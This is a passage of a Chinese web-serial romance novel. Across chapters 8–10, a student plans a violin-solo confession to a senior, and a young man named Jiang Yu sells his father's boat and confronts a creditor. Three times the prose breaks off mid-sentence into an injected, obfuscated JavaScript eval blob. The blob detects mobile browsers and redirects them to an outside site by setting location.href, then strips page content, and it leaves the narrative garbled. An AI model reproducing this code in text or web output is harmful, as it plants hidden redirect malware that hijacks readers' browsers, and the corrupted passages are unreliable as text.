程霏霏没有回答,依旧盯着天花板出神。末了,手伸进口袋,摸出一枚泛旧的皮质钥匙扣,丢进姐妹怀里。 任可心拿起来瞧了瞧:“这东西你还留着呢?” 整个高三,程霏霏都带着它,寸步不离。这东西像个宝贝的护身符,被她上学带来,放学带走,连考试的时候也随身揣着。 黎玥接过钥匙扣,细细打量了半晌:“……Yu?” “嗯。”程霏霏的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861478|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上闪过一丝羞赧,“这是第一次见面时,我失手从他的包上扯下来的。” 任可心和黎玥震惊地盯着她瞬间矫揉起来的小女儿姿态,怀疑自己的眼睛出了什么毛病。 “我努力学习,拼命考来江大,还费尽心思,凹了个这么励志的人设,就是对李泽昱势在必得。” 程霏霏从椅子里站起来,抱着胳膊,在寝室里来回走:“可麻烦的是,他比我想象得难追多了。一年了,我竟然只混成了个暧昧对象。我程霏霏第一次追人,只追出这么点成绩,说出去都嫌丢人!” 任可心理解地点点头:“懂。毕竟有个很强的对手,外院那个姚安琪嘛。” 提起此人,程霏霏更加气不打一处来:“那个姚安琪也不缺人追啊,怎么就死抓着李泽昱不放?” “你也不缺人追啊,彭响喜欢你那么久,你还不是一样非李泽昱不可?” 程霏霏捡起一颗葡萄砸过去。 “嘶……”任可心揉着脑门,咬牙切齿地说:“别怪我没提醒你,姚安琪家在学校有些人脉的,她那个舅舅是谁,你我可都清楚。姓李的混学生会,会选谁不是一目了然……” “呸!李泽昱才不是那种人!” “我看他挺像那种人的。” 程霏霏已经跳着脚冲了过来。 “好好好女侠饶命,我收回,我收回。” * 外语学院和新闻传播学院的寝室在同一栋楼,上下层的距离。 程霏霏和任可心嬉笑打闹的时候,姚安琪这厢正对着桌子上的化妆镜,一脸不高兴。 她眉头紧蹙,想到了什么,恼得一巴掌拍在桌子上,将化妆镜掀翻。 “不就是个KTV小公主,家里有几个臭钱罢了,拽什么拽!” 室友莉莉在走廊上就听到了骂声,小心翼翼地推门进来,看到姚安琪一脸不忿的样子,知道她八成又碰见那个程霏霏了。 说来也怪,明明姚家也是本地的暴发户,可姚安琪每次辱骂程霏霏的时候,好像和她有着天壤之别一样,十足的嫌弃。 莉莉想,大概是因为姚家满门铜臭却出了个知识分子——姚安琪的舅舅,是江城大学的高层。 莉莉向来很注重跟这位富裕的室友搞好关系。 她边换衣服,边佯装抱怨:“在交流中心出了一天苦力,可给人累死了!不过,今天倒是听说了一桩小八卦,你要不要听?” 姚安琪意兴阑珊,随口“嗯”了一声。 “你那位学生会副主席——就是那个李姓师哥,报了去香港的交流项目,这事你知道吗?” 姚安琪一愣:“他要去香港?” “之前是,现在不好说。”莉莉神神秘秘地道:“好像遇到了什么难处,打算放弃这个名额了。” “难处?什么难处?” “这就不知道了。”莉莉耸了耸肩,“报名的老师亲自对接的,也没和我讲,但是我觉得这个消息告诉你终归是没错的。” 姚安琪打发了室友,默默地想,李泽昱是碰到了什么难处呢? 啧,管他什么难处,她托舅舅打听一下,总能打听到。 都说锦上添花易,雪中送炭难。如果自己能帮李泽昱解决这个难处,让他顺利得到这个机会,那她在他心里的位置,必定会有所不同。 今天,李泽昱看那个程霏霏的眼神,让她莫名的很有危机感。 她对香港没什么兴趣,那地方除了买买东西以外也没啥意思。不过,如果李泽昱想去,她倒不介意同行,在没有程霏霏的地方,好好培养培养感情。 先前的低落一扫而光,姚安琪几乎按捺不住心中的雀跃,兴奋地问室友:“你们那个交流项目,要怎么报名?” 8. 08 日头当空的午后,李泽昱在江城大学门口的公交站下了车。 一路往男生宿舍的方向走。 阳光穿过树林的缝隙,在灰白的沥青路上投下斑驳的影子。风一过,影子也随着簸动摇摆,起起落落。 李泽昱怔忪地盯着脚下的树影——好一副不由人的模样啊,像极了他自己。 上午回了趟家,他妈又把昨晚说的话翻来覆去地念叨了一遍。 李泽昱只顾着扶卧病在床的爷爷下楼晒太阳,没太听清她中间说了什么,不过开头和结尾和以前别无二致,料想还是那些旧话。 他没什么心情在家吃饭,谎称有事,早早回了学校。 手机上好几通未接来电,其中一个来自团委的老师,李泽昱破天荒的,没有第一时间接听。 这条路走过许多遍,李泽昱却鲜少留意沿途的景致,今天倒难得清空了思绪,观察起周围的一草一木来。 大部分的时间,李泽昱的脑子就像一台不停运转的处理器,总是反复琢磨手上的每一桩事情、每一项决定。 怎么把事情办得漂亮,怎样把话说得周到,中间牵涉到哪些人——谁可以倚仗,谁不能怠慢,谁又需要打起精神取悦。 对程霏霏,也是如此。 他的确很喜欢她,可仅仅喜欢是不够的。作为一个有野心的男人,他很清楚,自己应该交往一个能够提供助力的女人,可程霏霏显然不是。 周遭的世界好像变得具体又模糊,李泽昱想到化为泡影的香港之行,心下沮丧。 走着走着,一抹倩影悄然挡在了他身前。 李泽昱抬起头,竟然是姚安琪。 “李泽昱,我听说,你想去香港的学校交流?” 姚安琪眨巴着一双欧式大眼睛,珠光色的眼影在阳光下反射着细光:“我听我舅舅说,你卡在了学费这一环?” 她边说着话,边从包包里取出一张银行卡,在他眼前晃了晃。 “巧的很,我也想去香港来着……” 白皙的手指玩弄着这枚金属色的卡片,李泽昱看到正午的阳光照在上面,一闪一闪,发出金灿灿的诱惑。 他恶毒地想,这卡上的反光就和姚安琪脸上的眼影一样,上蹿下跳,不可一世。 姚安琪笑盈盈地说:“我已经报名啦,而且我舅舅说,这点费用不算什么的。他可以出钱,让我们俩一起去。李泽昱,你说好不好?” * 程霏霏一觉睡到日上三竿,腰酸背痛地坐起身,瞄了一眼周围。 对面,任可心霸着黎玥的床,还在呼呼大睡。 在家睡了一夏天的kingsize大床,骤然回到学校这一亩三分地,还真有点不习惯。 程霏霏顺着床梯爬下来,在寝室中央伸了个大大的懒腰。 正午的阳光已经跃过阳台,洋洋洒洒地铺了满地。 新闻传播学院的宿舍是标准的四人间。大一报道的时候,除了播音系的程霏霏和新闻系的黎玥,本来还有另外两个传播学的室友,不过她们一个中途出国,一个因病退学,就只剩下程霏霏和黎玥独享一室。 任可心的宿舍靠近北边,离这边有一段距离,却偏偏喜欢过来蹭床。日子久了,黎玥不得不多备了一套铺盖,专门用来待客。 程霏霏敲了敲任可心的床板:“起来了,吃早……午饭去。” 任可心刚从梦中转醒,眯缝着眼,不情不愿地坐起身,迷迷糊糊地套上一件长袖衫:“黎玥呢?” “八成去图书馆了。”程霏霏叼着牙刷,口齿不清地漱口,“你以为谁都跟咱俩似的,能睡到中午。” 两个人呵欠连天地去食堂吃饭。 正排着队呢,程霏霏收到李泽昱的微信:【程学妹,我明天有点私事,搬宿舍的约定暂时取消,抱歉。】 这条信息的语气重新又客气了起来,令程霏霏不爽地噘了噘嘴。 任可心伸长脖子,八卦地问:“又被放鸽子啦?” “要你管!”程霏霏忿忿地收起手机。 “我早说了,姓李的不靠谱。”任可心咬着筷子,慢条斯理地指了指墙上的海报,“瞧瞧,新生马上就要入学了,聪明的啊都先下手为强,去捡嫩草啃了。你倒好,还扒着个老学长不放,真是想不开!” 程霏霏打眼望过去,那是一张迎新艺术节的海报,正在面向全校征集节目。 主办方一栏,写着校学生会和校社联。 她忽然想起,昨天和李泽昱吃饭的时候,他似乎提到过,下一步的工作重点之一就是要忙这个艺术节的事。 程霏霏呆愣片刻,灵机一动:“可心,我有一个想法!” 她一把将还在排队的任可心揪出来,走到那张海报跟前,指着它说:“暗着来不成,就来明的。” 任可心还一头雾水呢,程霏霏却仿佛已经下定了十足的决心,语气斩钉截铁:“我决定,要对李泽昱正式告白!” “……” “我程霏霏告白,定然要轰轰烈烈的。”程霏霏一瞬不眨地凝视着墙上的海报,眼睛里迸发出昂扬的斗志,“我要去参加学长负责的这个活动,在艺术节的晚会上,当着全校师生的面,对他表白。” 任可心吓得脸都白了:“怎么参加?难不成,你要去给这台晚会当主持人?” 程霏霏不屑地剜了她一眼:“主持是我的专业,太没挑战性了,别小瞧我。” 她环着胳膊,唇角微翘,眼睛里闪耀着势在必得的光辉。 “为了彰显我的诚意,我一定要挑战一件自己原本不擅长的事情。让学长看到,我为了他,能多么努力。” 想到这个完美的计划,程霏霏忍不住一脸得意。她拿出手机,给程皓南发微信:【哥,你抽空把我的小提琴送到学校来。】 程皓南:【?】 接下来,只需要花点时间练习便好。 程霏霏想,她一定会带给李泽昱一场难忘的定情盛宴! 站在海报前,程霏霏把上面的文字仔仔细细地通读了个遍,将时间和报名的注意事项一应牢记于心。 目光扫过“新生”两个字的时候,她短暂地顿了顿,总觉得好像忘记了什么重要的事情。 ……管他呢,先顾好眼下的“大计”再说! * 程皓南的琴送得非常快,吃完午饭不久,程霏霏已经坐在寝室里,开始拨弦调音了。 手里的小提琴通体棕红,琴身做工精细,带着漂亮的木纹,一看就价格不菲。 虽然好久没拉了,琴弦和琴弓依然散发着松香的气息。轻轻一拨,声音如泉水叮咚,从指间倾泻而出。 程霏霏像模像样地端起琴,试着拉了一段曲子。 刚刚还声如天籁的乐器,一到程霏霏手中,顷刻间就变成了木头锯子,发出咬牙切齿的摩擦声。 半首曲子下来,程霏霏被自己的拉锯声折磨得头疼,心虚地想,幸亏此刻宿舍里没别人,只有她一个受害者。 话说,程霏霏对小提琴上头,还是高二暑假的时候。 她从帝都回来,忽然就吆喝着要学琴。只可惜,找了老师,买了好琴,没拉几天就开学了。 整个高三,她忙于学业,一直练得断断续续。直到高考结束后,才算正儿八经学了个入门。 目前的水平实在非常有限,可程霏霏不气馁。她要短时间内速成,去艺术节的晚会上贡献一场盛大的独奏,用琴声对心仪的对象表白,好将人一举拿下。 在她的认知里,没有什么比这个方式更诗意、更浪漫、也更加适合李泽昱了。 又锯了一会儿木头,程霏霏给自己吵得头晕眼花,手臂也酸疼不已,不得不放下小提琴。 她找出手机,连上蓝牙音响,开始播放圣桑的《影子与回旋随想曲》。 悠扬舒缓的旋律在寝室里回荡,疗愈着耳朵刚刚遭受的创伤。 这是她当年第一次见到偶像——著名小提琴家羽婷老师,在自己的演奏会上所演绎的曲目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861479|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之一。 身为国内首屈一指的小提琴演奏家,羽婷老师人到中年,不仅桃李满天下,还有众多令人耳熟能详的代表之作,其中就包括那首由她丈夫作曲、她本人独家演奏的同名单曲《雨停》。 那首曲子,以及其他多首经典的小提琴曲目,一直都在程霏霏的播放列表上占据着一席之地。 程霏霏身边的人都惊讶过,她这样一个自由不羁的年轻女孩,竟然会听古典音乐。 程霏霏从没对别人解释过,那个夜晚,她第一次踏入演奏会的大厅,茫然而彷徨地听完一场音乐盛宴时,内心无与伦比的震颤。 音乐响起的一刻,时间仿佛凝固了,所有的喧嚣与纷扰都被隔绝在外。程霏霏的心头泛起无所适从的动容,好像把短暂的一生重新活了一遍。 徜徉的旋律就如破云而出的阳光,直直地照进她的心底,将内心深处那些支离破碎的愤怒和恐慌一一击碎,在音乐的涤荡下,化为涓涓细流,温柔地涌向四肢百骸。 仿若一场重塑与拯救。 程霏霏自记忆中抽离出来,从椅子里起身,抹了一把滚至下颌的泪水。 心中有一道声音,叫嚣着、催促着她,快些把琴练好,然后去那个场合表明心意。 她要告诉李泽昱,她找了他很久,想要当着他的面,将谢意与爱意一并诉说。 程霏霏拿起小提琴,重新练了起来。 这一练,就是一个月。 期间,江城大学也迎来了开学的日子。老生们热闹返校,新生如潮涌至,校园里每天人来人往,连乍起的秋风都夹带着蓬勃的生命力。 而程霏霏两耳不闻窗外事,一心只顾着练琴。 她把接下来两个月的日历打印出来,贴在床头,还给艺术节晚会的那天标了个大大的红心,仿佛备战考高一般,规划着练习的进度。 当然,以她的水平,关起门来死磕是不成的,需要请老师指点。 好在程霏霏人脉颇广,拐着弯认识了一个音乐学院的学生。对方虽然是学声乐的,但对小提琴也有所涉猎,指点一下她这个外行也不是不行。 不仅如此,小老师还给程霏霏介绍了一处免费的练习室。地点在音乐学院的旧楼,靠近后街一带,有一间闲置的音乐教室,可以供她使用。 黎玥听说之后感动坏了,慷慨地请小老师连喝了三天奶茶,说是感谢她对程霏霏的授业之恩。 然后每天像恭送佛爷一般,欢送程霏霏出门练琴。 这一个月以来,程霏霏每天在寝室里锯木头,锯得黎玥的血压蹭蹭往上蹿,疑心自己年纪轻轻就患上了头晕眼花、耳鸣心悸的怪病。 程霏霏一出走,黎玥头也不晕了,耳也不聋了,寝室里的日子终于又回归了蓝天白云、鸟语花香。 而程霏霏在日复一日的勤奋练习中,竟然真的逐渐脱离了锯木头的阶段,慢慢开始上道。 她选择的曲子是《RememberOurSummer》,不是很难,硬练就能成。关键是旋律好,节奏快,耳熟能详。 曲名还非常意有所指的,意图怀念一场盛夏——  ethesun 太阳升起  etherain 雨滴落下 Iwillwaiteveniftheseasonschange 即使四季不停变化我也会一直等候 Iknowyou''llflyaway 我知道你会离我远去 Needtoholdyouformyself 必须将你紧紧抓牢 Willweevermeetagain 我们还能否再相见 I''llescapefromallthesechains 我会挣脱所有的枷锁 Pleaserememberoursummers 请铭记我们共同的夏天 9. 09 杜溪县人民医院。 一大早,护工王婶动作麻利地伺候完楼上的孙奶奶穿衣吃饭,擦好了嘴,围兜一撂,就急吼吼地往楼下的外科病房跑。 推门进去,最里间的那张床铺已经收拾得整整齐齐,一尘不染,仿佛压根没有人住过。 王婶喘着粗气,指着空床问周围的人:“住这床的小伙子呢?” “你说小江啊?”隔壁床的大爷笑呵呵地道:“他今天出院,人已经走了。” “哎呦!”王婶苦着脸,拍着大腿叹气,“我真是造孽呀……” “咋的了?” “这小江吧,有个很宝贝的纸片,这么大小一个……”王婶边说边比划着,“好像写了人家姑娘的电话号码,怪要紧的。结果呢,我老眼昏花的看不清,打扫卫生的时候,一不小心就给扔了!这不,害得他联系不上人家姑娘了。” 王婶想,那姑娘细皮嫩肉的,长得挺好看,当初谈活的时候,出手也很大方,价都没讲。 可惜,那天以后,就再也没有来过。 苦了小江,每天都在这里等。直到他出院,也没有把姑娘盼来。 大爷摇了摇头,安慰道:“行啦,你也不是故意的。小江这孩子不错,人又年轻,自然有他的缘分。” 王婶表情忸怩,语气里满是遗憾:“我这不是……毁了他的姻缘,怪不好意思的。所以我就想着,把我侄女介绍给他嘛。我侄女长得可水灵了,不比那姑娘差哩!” 旁边看热闹的大姐忍不住了:“什么不好意思,你分明就是看中人家小江长得好!别说,那天拆了线之后,我一瞧,哎呦喂,这辈子没见过这么俊的小伙儿!” 王婶的心思被戳破,老脸一红,心里觉得更遗憾了。 她拿钱办事,照顾小江这些时日,没事就在心中琢磨,这孩子长得可真好看,跟个小明星似的。 受了这么重的伤,竟然一直没有人来探望。 谁家的父母如此狠心,这么漂亮的孩子都能不要? 王婶摇了摇头,唉声叹气地上楼,回去继续照顾孙奶奶了。 * 江风疏阔,正午的日头映在水面上,波光粼粼,像撒了一把碎锡纸。 前几天刚下过雨,平时还算清澈的江面变得暗淡苍黄,泛着铁锈般的浑浊。 江羽站在岸边,任江风将额发吹得纷乱。他还是刚出院时候的打扮,胳膊上还吊着未拆的绷带。 秋雨送凉,天气明显湿寒了不少。 昨天出院的时候,隔壁床的大爷看他穿得单薄,匀给他一件洗脱了色的长袖衫。他也不嫌弃,道了谢就套在身上。 头发有日子没剪,已经有些长,盖住了眼睛。江羽抬起那只完好的手,随意一拨,露出白皙饱满的前额。 岸上的芦苇随风轻荡,有草絮飞出,浮浮沉沉地盘旋一段,停在了手中的绷带上。江羽盯着那节草絮愣神,不知在想些什么。 “你就是要卖船的那个?”身后走来两个人,步子吊儿郎当的懒散。 江羽回过头,冷淡应道:“是我。” 来人叼着一根大前门,常年风吹日晒的黝黑皮肤,操着浓重的异乡口音:“船主是解成坤啊,你不是解成坤吧?” “我是他儿子。” 来人夹烟的动作一顿,“唔”了一声。 另一个人没说什么,当即下了江,淌着水流迈上船,开始四处查看。 过了好一阵子,他才回到岸边,和同伴嘀嘀咕咕了几句,似乎对船的状况还算满意。 “船上的东西,连同江上捕捞的名额,一并卖给你们。就按电话里谈好里的价格,今天签字。” 两人一听,立即面露喜色。 船本身不值什么钱,值钱的是捕鱼证。 这年头,下江的口子越收越紧,很少再有新证能办下来。杜溪当地的渔民全凭世袭,外来户很难分一杯羹。 其中一人有些不放心地问:“跟你交易,不会出什么岔子吧?毕竟你也不是船主……” “船主本人现在在牢里蹲着,出不来。”江羽慢条斯理的,声音像飘散在江上,淡得如同在谈论一个毫无关系的人,“船你们用,生意你们做。等他出来,黄花菜都凉了。” 都是粗人,不认识几条法律,对纸面上的东西也没有多在意。二人略一合计,觉得可行。 反正船是儿子卖的,老子要是出来找船,先找自己儿子,横竖不关他们俩的事。 这桩买卖就这么成交了。 临走的时候,江羽回过身,最后看了一眼停泊在江滩上的船只。 他曾经听解成坤提到过,家里祖祖辈辈都是江上的渔民,年轻的时候,也有过那么一段安生日子,跟着江羽的爷爷下河捕鱼,养活一家老小。 可是自从爷爷去世,这条船就三天打鱼、两天晒网,成了解成坤不务正业的铁证。 直到两年前,才被江羽重新拾掇出来,正经下了水。 江羽不会打鱼,初来乍到的时候,甚至还有点晕船。可是他需要吃饭,需要交学费,这艘船让他养活了自己。 他用最短的时间,认清了整条江里常见的鱼虾。然后跟着同样打鱼的村民,学习如何下网,如何收网,如何处理打结的网兜…… 每天天不亮,在晨光仍旧熹微、江水尚未苏醒的时候,江羽就摸着黑起床,撑船下水,去捞上一网。 与其说是实力,倒不如说,他运气还算不错。江水非常温柔地接纳了这个新来的年轻捕手,让他每次多多少少,总能有所收获。 他将打上来的鱼虾放在铁皮桶子里,然后赶在朝阳升起之前,来到村口的小广场上,同河鲜贩子们讨价还价。 这是整个渔村最热闹的时候。 鱼贩子们开着风尘仆仆的小皮卡,将每只铁皮桶里的鱼称重,再一股脑儿倒进车斗的大水箱里。计算器按几下,就结算出了江羽一天的所得。 江羽将带着体温的纸币小心翼翼地收进书包内层,再裹着满身的河腥气,赶去学校上课。 往往会错过早自习。 年级主任教了一辈子书,最讨厌的就是江羽这种长相出众的转校生。根据他丰富的教学经验,这种大城市回来的学生往往很不安分,总有些离经叛道的歪心思,一定会把县中学这一池静水搅合得鸡犬不宁。 所以,哪怕江羽犯下再小的过错,只要被他揪住,就会狠狠地罚站,以正视听。 有一回,江羽被抓到旷了第一节课,被年级主任当成违纪典型,在全校大会上当众点名批评。 台下站满了学生,黑压压的一片。 江羽背着手,垂头站在台上,年级主任拿着话筒,在一旁声讨得慷慨激昂。 他恨不得引经据典,把那些社会渣滓的事迹翻来覆去念叨个遍,每句话都充满暗示,仿佛江羽注定会长成一个游手好闲的街溜子,重复这个渔村里大多数人祖祖辈辈的庸碌命。 主任一顿输出完毕,轮到江羽发言做自我检讨的时候,却发现这小子耷拉着一颗脑袋,站着睡着了。 年级主任大发雷霆,眉毛都气歪了,要不是当着全校师生的面,早已经一脚踹了过去。 他拿着扩音喇叭大吼:“少壮不努力,老大徒伤悲!”这才堪堪把打瞌睡的人震醒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861480|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,这样一整套组合拳下来,江羽始终无动于衷。该怎么样还是怎么样,早自习从来不上,偶尔晚自习也缺缺勤。 年级主任折腾累了,况且,一直都联系不上他的家长。所作所为没有任何反馈,他便懒得再拿这不成器的小子当典型。 后来,他逐渐发现,江羽是个挺奇怪的人,和以前那些外面来的转校生都不太一样。 他很安静,上课的时间只是沉默地看书,不怎么听讲。一到课间就睡觉,基本不和同学相处。 而且,因为穷到离谱,且身上常年带着些莫名其妙的河腥气,隐隐还有被班上学生孤立的苗头。 年级主任便也懒得管,听之任之了。 后来听说,晚自习下课的时候,会有社会上的小混混把江羽堵在学校后面的巷子里推搡、或者言语威胁。他一打听才知道,江羽的爸爸似乎得罪了不少人。 他还是没管。 直到高三模拟考的成绩出来,年级主任大吃一惊,仿若被人扇了一记响亮的巴掌。 江羽的分数一骑绝尘,把之前的年级第一甩出去快一百分。 明明在那之前,他的成绩一直温温吞吞,毫不显山露水。 主任的肠子都悔青了,心说这个帝都来的小子,真是高手过招,无招胜有招——不是考不了高分,而是想考几分,就考几分呐! 平时也不是低调,只是不屑罢了,压根看不上咱们这土鳖学校,包括他这个有眼无珠的年级主任! 当然,如果江羽知道这位老师心中所想,大概会为自己鸣冤。他哪里是不屑,他是真的没空去在意那些。 每天为生活奔波,赚钱加学习耗光了他所有的力气。十几岁的江羽第一次过这种生活,拼尽全力才咬牙挺下来,也挺得很累、很勉强。 所以,高考结束以后,相比光芒万丈的帝都名校,江城大学拓知的全额奖学金对他有着实打实的吸引力——他真的很需要钱。 况且,他并不打算回到帝都去。 此刻,站在熟悉的江边,江羽最后一次回望这只陪伴了自己一年多的渔船。 灰褐色的船底已经生满了斑驳的锈迹,随着江水的波纹荡漾起伏。 船上,才修补了没多久的渔网堆在角落,旁边是他用惯了的手套和铁皮桶。 江羽知道,船舱的储物箱里还有一盏充电的阅读灯。在无数个清晨和黑夜,灯光穿过湿漉漉的水雾,将他从昏昏欲睡的麻木中唤醒,翻开书本,打着呵欠往下读。 书上的字,也随着波涛律动起伏,高低有致,令他联想到熟悉的五线谱…… 江羽晃晃脑袋,将那些不合时宜的记忆赶走。 他从没有见过自己的爷爷,却打心眼里感激这个打了一辈子鱼的老头。谢谢他给了风雨飘摇的自己一条船、一处栖身之所,让他撑过了人生中最艰难的一年。 他多么想留下这条船,可是他没有办法。 浑黄的江水打着涟漪涌来,刮擦着伸入水底的枯枝,发出哗啦哗啦的轻响。 这规律的音波和平日别无二致,如同催眠的白噪音,一遍又一遍地冲刷过江羽年轻而疲惫的灵魂。 可是今天听来,又有些不一样。这泽被一方水土的江流,好像在同一个后生安静地道别。 江羽默默别过视线。 清风乍起,胳膊上的草絮飞舞着向高空曳去。 刚回来的时候,他还觉得这里山寒水冷,满目疏萧。没想到,在告别的这一刻,江风竟然夹带着一丝暖意,给他的记忆画上了一道温柔的句点。 江羽转过身,消失在漫天纷扬的芦苇絮中。 10. 10 夕阳渐沉,隔壁县城的汽修铺子里,胖子王鹏正在费劲地拆卸一只五菱宏光的爆胎。 豆大的汗珠顺着脸上的横肉蜿蜒而下,被他随手一抹,变为几道黑痕,撇在肥厚的腮上。 时间不早,门前这条出城的国道上车流稀疏。王鹏想,应该没有客人再上门了,正要去前头把卷帘门放下来,一个意想不到的身影走进了店里。 “江,江羽?”王鹏目瞪口呆。 看着眼前活生生的人,王鹏心头火起,刚搁下的扳手又重新抄了起来。 “你他妈的真是嫌命长,还敢自己送上门来!” 江羽站在几步之外,吊着一只胳膊,另一只手里提着一只黑色塑料袋。 “砰”一声,袋子扔在了胖子脚边。 “解成坤欠你的钱,我可以还。这是八万,剩下的以后补给你。” 王鹏眯了眯眼,怀疑地弯下腰去检查塑料袋:“呦,今天太阳打西边出来了,你小子竟然愿意掏钱了?” 江羽的眼角耷着,脸上冷漠到没有一丝多余的神情。 他似乎用尽了耐心,再次重复那已经车轱辘了无数遍的话:“解成坤的债务与我无关,我没有义务替他还钱。” “嘴硬吧你就,这还不是老实还了?” “我有个条件。” 江羽声调平静,眼神轻蔑地打量了一圈这间脏兮兮的铺子,直看得对方快要恼羞成怒,才重新绕回到王鹏脸上。 “我要你那天抢走的耳环。” 王鹏回忆了好半天,才想明白他指的是什么——那天,有个小姑娘忽然跑出来横插一脚,临走的时候,其中一个雇来的混混趁乱抢了她的东西。 一群人干完一票就各奔东西了,谁还记得那个耳环在哪儿? “太久了,老子找不来!”王鹏干脆耍赖,一屁股坐在地上,开始点钞票。 江羽仍旧面无表情,看上去毫不惊讶。他不慌不忙地从口袋里拿出一只优盘,半蹲下身,举到胖子眼前。 “这是那天晚上,你聚众殴打我的证据。” 王鹏点钱的动作定住了。 江羽抬了抬嘴角,脸上却一丝笑意也没有,随意地将优盘抛起又接住:“你说,它能让你进去待多久?连这点钱,是不是也得给我赔回来?” 王鹏一惊,赶紧解释:“耳环是……是那女的主动要给的!” 江羽撩起眼皮看了他一眼,神色冰凉,更多的是不屑。 王鹏一个头两个大——这的确不像正常小女孩会干的事,警察大概不会信。况且,当时那个距离,监控录不下那个妞儿的豪言壮语,倒是把最后抢东西的画面拍了个结结实实。 江羽问:“听说过抢劫罪吗?” 王鹏坐在地上,脸憋得通红,脑筋实在转不过来更多弯弯绕绕。 最后,只能硬着头皮答应:“……我想起来谁拿的了,我可以去要。” 江羽点了下头:“一个月之内。你知道怎么找我。” 说完,转身便要走。 王鹏也从地上爬起来,手忙脚乱地追着他出了铺子。 自从江羽回到杜溪,王鹏三番五次地找茬,带人骚扰了他好几回,他都没什么反应,像个逆来顺受的傻子。 偏偏这一次,大老远跑过来还钱,还变着法子要挟他,竟然只是为了一个耳坠? “我告诉你,你挨的那些打都是活该!谁让你是那个畜牲的儿子!” “父债子偿,天经地义!法律也不能不认!” “你有什么了不起的?就是个被人扔在孤儿院的野种!当年,要不是看在你那么可怜的份上,我才不会罩着你呢!你就活该被他们打死!” “你那个妈真是瞎了眼,才会——” 江羽忽然顿住脚步,转过身,沉默地盯着他。 王鹏心虚地噤了声。 他觉得,江羽此刻的目光有点瘆人,像盘桓在夜里的黑豹,按而不发,却已经牢牢锁定了他的咽喉。 仿佛只要他再说一句,这小子就会扑上来,和他同归于尽。 王鹏默默地咽了口唾沫。 似乎过了很久,王鹏的嘴巴都咂干了,江羽的目光才和缓下来,整个人又恢复了那种病恹恹的木讷和漠然。 他依旧耷着眉眼,慢吞吞地说:“骂一句,钱少一万。” “……” 王鹏悻悻地闭了嘴,瞪视着江羽离开的背影,直到彻底看不见。 越想越气,自己刚才竟然被那小子慑住了,简直是奇耻大辱! 他在屋子里转了好几圈,无处发泄,抬手将卷帘门一撸到底,砸出一阵噼里啪啦的乱响。 * 秋风裹着满地的落叶和小广告,在半空中转着圈起舞。 日暮西沉,家家户户门窗紧闭。整条巷子漆黑一片,放眼望去,只有巷口的小卖部悬着一盏昏黄的灯泡,将窗户上的胶带照得蜡黄。 最后一位顾客推门而出,嘴里叼着一包方便面。 江羽被迎面的凉风吹得缩了缩脖子,这江边地界,晚上还真有点冷。 一整天没吃东西,好像已经挨过了那股子饿劲儿。 他在小巷的石阶上缓缓坐下,撕开方便面的包装。这时,身后的草丛里响起些窸窸窣窣的动静。 江羽回头看去,鸡窝似的一团枯草中,竟然钻出一条流浪狗。 狗很瘦小,不知道是年纪小,还是饿得长不大。身上长满了驳杂的黄毛,参差不齐的,一看就是不值钱的串子。 干枯的黄毛下,几块秃皮若隐若现,不知是得了皮肤病还是受了外伤,一根毛也没有。 它抖了两下鼻子,使劲嗅了嗅方便面的气味,很想上前,又在江羽的目光中怯生生地后退了一步。 江羽面无表情地和狗对视了半晌。 他将面饼一掰两半,自己一半,另一半捏成小块,放在了台阶上。 狗子会意,壮着胆子上前,开始舔吃方便面。 江羽吃完了自己的一半,抖了抖手中的面渣,站起身,只身往巷子深处走去。 穿过一条黑长的石板路,就到了那晚被狠揍一顿的地方。江羽的面上没有丝毫起伏,脚步未停,来到一家小店跟前。 说是小店,充其量就是一道狭窄的门头。 外墙很老旧,只头顶的招牌泛着新色,上书“冯氏糖藕”几个字。 江羽敲了敲门板,一个年轻姑娘探出头来,看到江羽,不可思议地回头喊:“妈,江羽哥回来了!” 紧接着,一个中年妇人步伐急促地迎了出来,高兴到几乎带着颤音:“小羽吗?你可算回来了!这些日子你去哪儿了?哎呦,你这胳膊是……” 江羽客气地笑笑:“冯姨,没什么大事,路上被车刮了一下,住了几天院。” 听到是车祸,冯惠珍吓了一跳,赶紧把江羽拉进门里左右检查。又怕他肚子饿,打发女儿去把后厨里的剩菜热一热。 江羽的确有些饿了,也没推辞。两个人在餐桌边坐下,江羽埋头咬了一口包子,抬眼就看到冯惠珍难过的神情。 “好好一个孩子,怎么折腾成了这样。唉,都是我的错……” 冯惠珍说着说着,竟然开始抹眼泪。 “要不是因为我,你也不至于回到这破地方来,受这份苦……” 江羽一听,也顾不得吃了,将咬了一半的包子搁下,宽慰道:“冯姨,以前的事情都过去了,我现在也很好。” 